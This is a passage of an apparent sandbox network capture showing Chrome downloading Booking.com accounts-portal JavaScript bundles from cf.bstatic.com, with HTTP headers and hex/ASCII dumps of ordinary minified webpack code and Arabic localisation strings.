74 7d 66 75 6e 63 74 69 6f 6e 20 66 28 74 29 7b Data Ascii: {return"/"===t.charAt(0)?t:"/"+t}function u(t){return"/"===t.charAt(0)?t.substr(1):t}function c(t,e){return function(t,e){return 0===t.toLowerCase().indexOf(e.toLowerCase())&&-1!=="/?#".indexOf(t.charAt(e.length))}(t,e)?t.substr(e.length):t}function f(t){
2024-07-08 22:43:42 UTC	11085	IN	Data Raw: 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 72 67 75 6d 65 6e 74 73 5b 33 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 6f 28 30 29 29 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 76 6f 69 64 20 30 3d 3d 3d 6e 26 26 28 6e 3d 65 2c 65 3d 76 6f 69 64 20 30 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 6e 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 6f 28 31 29 29 3b 72 65 74 75 72 6e 20 6e 28 63 29 28 74 2c 65 29 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 6f 28 32 29 29 3b 76 61 72 20 61 3d 74 2c 66 3d 65 2c 73 3d 5b 5d 2c 6c 3d 73 2c 64 3d 21 31 3b 66 75 6e 63 74 69 Data Ascii: ction"==typeof arguments[3])throw new Error(o(0));if("function"==typeof e&&void 0===n&&(n=e,e=void 0),void 0!==n){if("function"!=typeof n)throw new Error(o(1));return n(c)(t,e)}if("function"!=typeof t)throw new Error(o(2));var a=t,f=e,s=[],l=s,d=!1;functi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49865	18.66.196.62	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:41 UTC	570	OUT	GET /psb/accountsportal/assets/551_d9177bb2ea045a936d68.js HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:42 UTC	685	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 541022 Connection: close Date: Mon, 08 Jul 2024 22:43:42 GMT Last-Modified: Mon, 08 Jul 2024 13:49:03 GMT ETag: "48b13bcbeb65ce2ef69382a596554e21" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 8db752c7c72f91c885c8ab01fff7d99ff1d0049193bc1c1d169b5719f9063814 x-amz-version-id: W02QChEWXWvBVUXCenEON5DaJltY8HyX Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 d2efc2528c9d37ec19b94a3d8dc21422.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MXP63-P1 X-Amz-Cf-Id: RHiv6D2hPf7UayH3uLo7AnsDzm1SIzqQ7VC9_U7YZck_9xPqDI6ZaQ== Vary: Origin
2024-07-08 22:43:42 UTC	15699	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 35 35 31 5f 64 39 31 37 37 62 62 32 65 61 30 34 35 61 39 33 36 64 36 38 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 35 35 31 5d 2c 7b 36 37 32 31 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 Data Ascii: /! For license information please see 551_d9177bb2ea045a936d68.js.LICENSE.txt /(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[551],{67214:function(e,t,n){"use strict";var r
2024-07-08 22:43:42 UTC	291	IN	Data Raw: 72 65 74 75 72 6e 22 65 74 65 3d 22 2b 6e 2e 6a 6f 69 6e 28 22 2c 22 29 2b 22 26 65 74 67 3d 22 2b 69 2e 6a 6f 69 6e 28 22 2c 22 29 2b 22 26 65 74 63 67 3d 22 2b 61 2e 6a 6f 69 6e 28 22 2c 22 29 2b 22 26 65 74 73 3d 22 2b 63 2e 6a 6f 69 6e 28 22 2c 22 29 2b 22 26 65 74 67 77 76 3d 22 2b 73 2e 6a 6f 69 6e 28 22 2c 22 29 7d 28 61 3d 69 29 3b 45 2e 6d 26 26 28 65 2b 3d 22 26 6d 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 45 2e 6d 29 29 2c 69 3d 5b 5d 3b 74 72 79 7b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3d 65 2e 75 72 6c 2c 72 3d 65 2e 63 6f 6d 70 6c 65 74 65 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 6f 3d 65 2e 68 65 61 64 65 72 73 7c 7c 7b 7d 2c 69 3d 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 2e 44 4f 4e 45 7c Data Ascii: return"ete="+n.join(",")+"&etg="+i.join(",")+"&etcg="+a.join(",")+"&ets="+c.join(",")+"&etgwv="+s.join(",")}(a=i);E.m&&(e+="&m="+encodeURIComponent(E.m)),i=[];try{!function(e){var t,n=e.url,r=e.complete\|\|function(){},o=e.headers\|\|{},i=XMLHttpRequest.DONE\|
2024-07-08 22:43:42 UTC	2787	IN	Data Raw: 21 31 3b 69 66 28 61 2e 6f 70 65 6e 28 22 47 45 54 22 2c 6e 2c 21 30 29 2c 6f 29 66 6f 72 28 74 20 69 6e 20 6f 29 6f 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 74 29 26 26 61 2e 73 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 74 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6f 5b 74 5d 3f 6f 5b 74 5d 2e 63 61 6c 6c 28 29 3a 6f 5b 74 5d 29 3b 61 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 61 2e 72 65 61 64 79 53 74 61 74 65 3d 3d 3d 69 26 26 72 28 61 2c 61 2e 73 74 61 74 75 73 29 7d 2c 61 2e 73 65 6e 64 28 29 7d 28 7b 75 72 6c 3a 65 2c 63 6f 6d 70 6c 65 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 32 30 30 3d 3d 3d 74 3f 63 28 29 3a 6c 28 29 7d 2c 68 65 61 64 65 72 73 3a 67 7d 29 Data Ascii: !1;if(a.open("GET",n,!0),o)for(t in o)o.hasOwnProperty(t)&&a.setRequestHeader(t,"function"==typeof o[t]?o[t].call():o[t]);a.onreadystatechange=function(){a.readyState===i&&r(a,a.status)},a.send()}({url:e,complete:function(e,t){200===t?c():l()},headers:g})
2024-07-08 22:43:42 UTC	16384	IN	Data Raw: 43 6c 69 65 6e 74 52 65 63 74 7c 7c 28 6e 3d 74 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 48 65 69 67 68 74 7c 7c 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 2c 69 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 7c 7c 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 57 69 64 74 68 2c 21 28 6e 2e 72 69 67 68 74 3c 30 7c 7c 6e 2e 6c 65 66 74 3e 69 7c 7c 30 3d 3d 3d 6e 2e 74 6f 70 26 26 30 3d 3d 3d 6e 2e 6c 65 66 74 26 26 30 3d 3d 3d 6e 2e 72 69 67 68 74 26 26 30 3d 3d 3d 6e 2e 62 6f 74 74 6f 6d 29 26 26 6e 2e 74 6f 70 3c 6f 29 29 29 3f 28 72 2e 6c 65 76 65 6c 26 26 72 Data Ascii: ClientRect\|\|(n=t.getBoundingClientRect(),o=window.innerHeight\|\|document.documentElement.clientHeight,i=window.innerWidth\|\|document.documentElement.clientWidth,!(n.right<0\|\|n.left>i\|\|0===n.top&&0===n.left&&0===n.right&&0===n.bottom)&&n.top<o)))?(r.level&&r
2024-07-08 22:43:42 UTC	16384	IN	Data Raw: 5d 22 2c 76 3d 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 2c 67 3d 22 5b 6f 62 6a 65 63 74 20 50 72 6f 6d 69 73 65 5d 22 2c 5f 3d 22 5b 6f 62 6a 65 63 74 20 52 65 67 45 78 70 5d 22 2c 79 3d 22 5b 6f 62 6a 65 63 74 20 53 65 74 5d 22 2c 62 3d 22 5b 6f 62 6a 65 63 74 20 53 74 72 69 6e 67 5d 22 2c 45 3d 22 5b 6f 62 6a 65 63 74 20 57 65 61 6b 4d 61 70 5d 22 2c 6b 3d 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 42 75 66 66 65 72 5d 22 2c 77 3d 22 5b 6f 62 6a 65 63 74 20 44 61 74 61 56 69 65 77 5d 22 2c 78 3d 2f 5e 5c 5b 6f 62 6a 65 63 74 20 2e 2b 3f 43 6f 6e 73 74 72 75 63 74 6f 72 5c 5d 24 2f 2c 41 3d 2f 5e 28 3f 3a 30 7c 5b 31 2d 39 5d 5c 64 2a 29 24 2f 2c 53 3d 7b 7d 3b 53 5b 22 5b 6f 62 6a 65 63 74 20 46 6c 6f 61 74 33 32 41 72 72 61 79 5d 22 5d 3d 53 Data Ascii: ]",v="[object Object]",g="[object Promise]",_="[object RegExp]",y="[object Set]",b="[object String]",E="[object WeakMap]",k="[object ArrayBuffer]",w="[object DataView]",x=/^\[object .+?Constructor\]$/,A=/^(?:0\|[1-9]\d*)$/,S={};S["[object Float32Array]"]=S
2024-07-08 22:43:42 UTC	2048	IN	Data Raw: 65 72 2e 73 65 74 28 65 2e 76 61 6c 75 65 2c 6e 29 29 7d 76 61 72 20 69 2c 61 7d 2c 6f 2e 72 65 6e 64 65 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 6f 70 73 2e 63 68 69 6c 64 72 65 6e 7d 2c 6e 7d 28 6f 2e 43 6f 6d 70 6f 6e 65 6e 74 29 3b 6c 2e 63 68 69 6c 64 43 6f 6e 74 65 78 74 54 79 70 65 73 3d 28 28 6e 3d 7b 7d 29 5b 63 5d 3d 61 28 29 2e 6f 62 6a 65 63 74 2e 69 73 52 65 71 75 69 72 65 64 2c 6e 29 3b 76 61 72 20 75 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 72 3d 6e 65 77 20 41 72 72 61 79 28 6e 29 2c 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 2b 29 72 5b 6f 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 72 65 Data Ascii: er.set(e.value,n))}var i,a},o.render=function(){return this.props.children},n}(o.Component);l.childContextTypes=((n={})[c]=a().object.isRequired,n);var u=function(t){function n(){for(var e,n=arguments.length,r=new Array(n),o=0;o<n;o++)r[o]=arguments[o];re
2024-07-08 22:43:42 UTC	16384	IN	Data Raw: 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 29 2c 73 74 61 74 69 63 43 6f 6e 74 65 78 74 3a 74 68 69 73 2e 70 72 6f 70 73 2e 73 74 61 74 69 63 43 6f 6e 74 65 78 74 7d 7d 2c 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 5f 2e 50 72 6f 76 69 64 65 72 2c 7b 63 68 69 6c 64 72 65 6e 3a 74 68 69 73 2e 70 72 6f 70 73 2e 63 68 69 6c 64 72 65 6e 7c 7c 6e 75 6c 6c 2c 76 61 6c 75 65 3a 74 68 69 73 2e 70 72 6f 70 73 2e 68 69 73 74 6f 72 79 7d 29 29 7d 2c 74 7d 28 6f 2e 43 6f 6d 70 6f 6e 65 6e 74 29 3b 6f 2e 43 6f 6d 70 6f 6e 65 6e 74 2c 6f 2e 43 6f 6d 70 6f 6e 65 6e 74 3b 76 61 72 20 45 3d 7b 7d 2c 6b 3d 31 65 34 2c 77 3d 30 3b 66 75 6e 63 74 69 6f 6e 20 78 28 65 2c 74 29 7b 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 7b 7d 29 2c 28 22 73 74 72 69 6e 67 22 3d 3d 74 Data Ascii: ation.pathname),staticContext:this.props.staticContext}},o.createElement(_.Provider,{children:this.props.children\|\|null,value:this.props.history}))},t}(o.Component);o.Component,o.Component;var E={},k=1e4,w=0;function x(e,t){void 0===t&&(t={}),("string"==t
2024-07-08 22:43:42 UTC	16384	IN	Data Raw: 65 2e 50 41 47 45 5f 44 4f 57 4e 3d 22 50 61 67 65 44 6f 77 6e 22 7d 28 6e 7c 7c 28 6e 3d 7b 7d 29 29 2c 74 2e 64 65 66 61 75 6c 74 3d 6e 7d 2c 37 34 34 30 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 5b 65 2e 6d 6f 75 73 65 4c 65 61 76 65 3d 32 35 30 5d 3d 22 6d 6f 75 73 65 4c 65 61 76 65 22 2c 65 5b 65 2e 6d 6f 75 73 65 45 6e 74 65 72 4c 6f 6e 67 3d 38 30 30 5d 3d 22 6d 6f 75 73 65 45 6e 74 65 72 4c 6f 6e 67 22 2c 65 5b 65 2e 6d 6f 75 73 65 45 6e 74 65 72 53 68 6f 72 74 3d 31 35 30 5d 3d 22 6d 6f 75 73 65 45 6e 74 65 72 53 68 6f 72 74 22 7d 29 28 6e 7c 7c 28 6e 3d 7b 7d 29 29 2c 74 2e 41 3d 6e 7d 2c 36 33 34 37 30 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 Data Ascii: e.PAGE_DOWN="PageDown"}(n\|\|(n={})),t.default=n},7440:function(e,t){"use strict";var n;(function(e){e[e.mouseLeave=250]="mouseLeave",e[e.mouseEnterLong=800]="mouseEnterLong",e[e.mouseEnterShort=150]="mouseEnterShort"})(n\|\|(n={})),t.A=n},63470:function(e,t)
2024-07-08 22:43:42 UTC	2048	IN	Data Raw: 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 52 45 53 45 54 5f 53 54 59 4c 45 53 3d 74 2e 44 45 46 41 55 4c 54 5f 53 54 59 4c 45 53 3d 74 2e 53 43 52 45 45 4e 5f 4f 46 46 53 45 54 3d 76 6f 69 64 20 30 2c 6e 28 37 32 34 38 36 29 2c 74 2e 53 43 52 45 45 4e 5f 4f 46 46 53 45 54 3d 31 36 2c 74 2e 44 45 46 41 55 4c 54 5f 53 54 59 4c 45 53 3d 7b 77 69 64 74 68 3a 22 61 75 74 6f 22 2c 68 65 69 67 68 74 3a 22 61 75 74 6f 22 2c 70 6f 73 69 74 69 6f 6e 3a 22 61 62 73 6f 6c 75 74 65 22 7d 2c 74 2e 52 45 53 45 54 5f 53 54 59 4c 45 53 3d 7b 70 6f 73 69 74 69 6f 6e 3a 22 66 69 78 65 64 22 2c 6f 70 61 63 69 74 79 3a 30 2c 61 6e 69 6d 61 74 69 6f 6e 3a 22 6e 6f 6e 65 22 2c 74 72 61 6e 73 69 74 69 6f 6e 3a 22 6e 6f 6e 65 22 7d 7d 2c 37 35 34 37 30 3a 66 75 6e 63 74 69 6f 6e 28 Data Ascii: value:!0}),t.RESET_STYLES=t.DEFAULT_STYLES=t.SCREEN_OFFSET=void 0,n(72486),t.SCREEN_OFFSET=16,t.DEFAULT_STYLES={width:"auto",height:"auto",position:"absolute"},t.RESET_STYLES={position:"fixed",opacity:0,animation:"none",transition:"none"}},75470:function(
2024-07-08 22:43:42 UTC	16384	IN	Data Raw: 26 28 63 2e 78 3d 66 2f 32 2d 74 2e 63 6c 69 65 6e 74 57 69 64 74 68 2f 32 29 29 2c 75 26 26 65 26 26 28 5b 22 73 74 61 72 74 2d 74 6f 70 22 2c 22 65 6e 64 2d 74 6f 70 22 5d 2e 69 6e 63 6c 75 64 65 73 28 65 29 3f 63 2e 79 3d 2d 31 2a 28 66 2f 32 2d 74 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 2f 32 29 3a 5b 22 65 6e 64 2d 62 6f 74 74 6f 6d 22 2c 22 73 74 61 72 74 2d 62 6f 74 74 6f 6d 22 5d 2e 69 6e 63 6c 75 64 65 73 28 65 29 26 26 28 63 2e 79 3d 66 2f 32 2d 74 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 2f 32 29 29 2c 63 7d 7d 7d 2c 33 35 33 31 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 74 68 69 73 26 26 74 68 69 73 2e 5f 5f 73 70 72 65 61 64 41 72 72 61 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 2c Data Ascii: &(c.x=f/2-t.clientWidth/2)),u&&e&&(["start-top","end-top"].includes(e)?c.y=-1*(f/2-t.clientHeight/2):["end-bottom","start-bottom"].includes(e)&&(c.y=f/2-t.clientHeight/2)),c}}},35318:function(e,t,n){"use strict";var r=this&&this.__spreadArray\|\|function(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49862	18.66.196.62	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:41 UTC	570	OUT	GET /psb/accountsportal/assets/699_7dd9fbc7ebf53c180dfd.js HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:42 UTC	684	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 13478 Connection: close Date: Mon, 08 Jul 2024 22:43:42 GMT Last-Modified: Mon, 08 Jul 2024 13:49:03 GMT ETag: "5108630a28c33db946a8a930bbffe101" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 8db752c7c72f91c885c8ab01fff7d99ff1d0049193bc1c1d169b5719f9063814 x-amz-version-id: X91sufq9wAiYA7bnTg4hmBp6KLSkOGrz Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 018d49139552bac4221d8e525a1600be.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MXP63-P1 X-Amz-Cf-Id: Aji7_NGvc79dRQw3CopLjP0XbsHezYm2gL54jnTG_5Qkj0SY1qOsyQ== Vary: Origin
2024-07-08 22:43:42 UTC	13478	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 36 39 39 5d 2c 7b 35 32 34 33 35 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 76 61 72 20 72 2c 6f 2c 69 2c 73 2c 75 2c 61 2c 66 2c 63 2c 6c 3b 66 75 6e 63 74 69 6f 6e 20 70 28 74 29 7b 72 65 74 75 72 6e 20 70 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f Data Ascii: "use strict";(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[699],{52435:function(t,n,e){var r,o,i,s,u,a,f,c,l;function p(t){return p="function"==typeof Symbol&&"symbol"==typeo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49866	18.66.196.62	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:41 UTC	572	OUT	GET /psb/accountsportal/assets/index_a4c9eea436facc11b585.js HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:42 UTC	685	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 875491 Connection: close Date: Mon, 08 Jul 2024 22:43:42 GMT Last-Modified: Mon, 08 Jul 2024 13:49:03 GMT ETag: "a8731c975ba33635da4637b7c8f69c2e" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 8db752c7c72f91c885c8ab01fff7d99ff1d0049193bc1c1d169b5719f9063814 x-amz-version-id: DHZHDrrsATlV7631cgwoevjajNBO6ofJ Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 d21c7dc6bfb9c2f00dc62b8a7281a898.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MXP63-P1 X-Amz-Cf-Id: tq-cweoZufPugmxYMQ4nvT9hACzZF90_SOIetKu_OI4D9QjZfQo9fQ== Vary: Origin
2024-07-08 22:43:42 UTC	15699	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 35 37 5d 2c 7b 37 30 32 36 35 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3b 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 72 65 74 75 72 6e 20 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 Data Ascii: (self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[57],{70265:function(e,n,t){"use strict";var r;function a(e){return a="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator
2024-07-08 22:43:42 UTC	1041	IN	Data Raw: 3a 32 3d 3d 65 3f 22 74 77 6f 22 3a 72 3e 3d 33 26 26 72 3c 3d 31 30 3f 22 66 65 77 22 3a 72 3e 3d 31 31 26 26 72 3c 3d 39 39 3f 22 6d 61 6e 79 22 3a 22 6f 74 68 65 72 22 7d 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 2c 72 29 7b 72 65 74 75 72 6e 7b 61 63 63 6f 75 6e 74 5f 63 6f 6e 74 61 63 74 5f 73 75 70 70 6f 72 74 5f 63 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 d8 a7 d9 84 d8 aa d9 88 d8 a7 d8 b5 d9 84 20 d9 85 d8 b9 20 d8 a7 d9 84 d8 af d8 b9 d9 85 22 7d 2c 61 63 63 6f 75 6e 74 5f 63 72 65 61 74 65 5f 61 63 63 6f 75 6e 74 5f 70 68 6f 6e 65 5f 66 6f 75 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 d8 a5 d9 86 d9 83 20 d8 aa d9 85 d9 84 d9 83 20 d8 ad d8 b3 d8 a7 d8 a8 20 d8 b9 d9 84 d9 89 20 22 2b 74 Data Ascii: :2==e?"two":r>=3&&r<=10?"few":r>=11&&r<=99?"many":"other"},a=function(e,n,t,r){return{account_contact_support_cta:function(e){return" "},account_create_account_phone_found:function(e){return" "+t
2024-07-08 22:43:42 UTC	16384	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 d8 aa d9 85 20 d8 ad d8 b0 d9 81 20 d8 ad d8 b3 d8 a7 d8 a8 d9 83 22 7d 2c 61 63 63 6f 75 6e 74 5f 64 65 6c 65 74 69 6f 6e 5f 6c 70 5f 72 65 74 75 72 6e 5f 63 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 d8 a7 d9 84 d8 b9 d9 88 d8 af d8 a9 20 d8 a5 d9 84 d9 89 20 d8 a7 d9 84 d8 b5 d9 81 d8 ad d8 a9 20 d8 a7 d9 84 d8 b1 d8 a6 d9 8a d8 b3 d9 8a d8 a9 22 7d 2c 61 63 63 6f 75 6e 74 5f 64 69 73 61 62 6c 65 64 5f 68 65 61 64 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 d8 a7 d9 84 d8 ad d8 b3 d8 a7 d8 a8 20 d9 85 d9 8f d8 b9 d8 b7 d9 84 22 7d 2c 61 63 63 6f 75 6e 74 5f 65 72 72 6f 72 5f 61 6c 72 65 61 64 79 5f 63 6f 6e 66 69 72 6d 65 64 3a 66 75 6e 63 74 69 6f 6e Data Ascii: function(e){return" "},account_deletion_lp_return_cta:function(e){return" "},account_disabled_header:function(e){return" "},account_error_already_confirmed:function
